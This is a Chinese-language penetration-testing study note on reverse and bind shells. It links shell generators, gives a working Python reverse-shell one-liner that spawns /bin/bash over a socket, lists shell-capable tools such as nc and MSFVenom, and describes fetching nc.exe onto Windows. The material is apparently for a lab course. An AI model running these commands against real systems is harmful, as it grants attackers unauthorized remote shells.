009-基础入门-不回显不出网&演示环境&源码项目等

反弹Shell

在线生成:

https://sec.lintstar.top/

https://www.revshells.com/

https://forum.ywhack.com/shell.php

实操1 Linux-->Windows:

使用网站Online - Reverse Shell Generator

对于windows监听:

对于Linux进行反弹shell:

问题1:

为什么使用(python环境已有)

复制代码
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",6666));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

云服务器widows(监听机)连接不上本地自己的windows(反向连接)

原因:

python版本差异,语法问题

命令类型:

1.系统自带:系统支持的系统命令调用
Bash -i,nc,curl,rustcat,openssl,telnet

2.开发语言:系统环境变量开发环境

perl,php,ruby

3.第三方项目

MSFVenom ,Hoaxshell

4.正反向类别

Reverse反向 Bind绑定等

问题2:

正向连接(先将自己绑定)

讲课电脑直接连接:

为什么不使用反向链接:

因为只能找到网关(下面有手机等设备),必须要有个中间代理才行

实操2:windows-->linux:

总结:

1、Windows上基本就PowerShell命令可以反弹,再就是环境变量的开发语言

2、Linux上默认自带的nc(ncat),系统命令,开发语言等基本大部分都可反弹

实操3:

windows上远程下载Ubuntu上准备好的nc.exe

下载好后可以进行反向连接:

连接不上原因:

1.有时候反向连接不起可能是因为漏洞对于url是post提交还是get提交有了限制,get有限制,post可以全部提交

2.符号有限制

回显出来就没有那么多:(封装成php让别人下载)

封装教程:

#渗透命令

在线参考:

https://book.shentoushi.top/

文件下载:

https://forum.ywhack.com/bountytips.php?download

相关推荐
Chengbei111 天前
SRC报告成稿 Skill(SRC/0day 提交稿、分层验证门、Step 式 PoC、截图铁律)
网络·人工智能·安全·web安全·自动化·系统安全
一只鹿鹿鹿1 天前
SCM流程图参考(PPT文件)
大数据·数据库·web安全·系统安全·流程图
sbjdhjd1 天前
PHP eval 型 RCE:flag 正则过滤与通配符绕过实操 | 01
安全·web安全·网络安全·开源·系统安全·php·网络攻击模型
数据知道1 天前
静态分析入门——PE 结构、字符串、导入表快速定性
网络·安全·web安全·网络安全
蒲公英eric1 天前
从宽松策略到严格限制:DVWA CSP 绕过模块完整漏洞分析教程
web安全·ai·dvwa·ai安全·csp bypass·csp绕过
慧都小项2 天前
从 Burp Suite Professional 到 DAST:把 Web 安全测试接入持续 AppSec 的工程化路径
测试工具·web安全·网络安全·burp suite
三8442 天前
应急响应之账户排查 + 计划任务排查 + 进程排查
web安全·应急响应·windows账户排查·应急响应linux排查
0xBADCODE2 天前
CTF Writeup 合集
安全·web安全·网络安全·系统安全·密码学·php·ctf
数据知道2 天前
恶意软件分析实验室搭建——沙箱、快照、网络隔离
网络·安全·web安全·网络安全
奔跑的卡卡2 天前
线上Web异常发现为什么总是滞后?一套自研Web实时异常分析监控系统整体架构拆解
前端·web安全·架构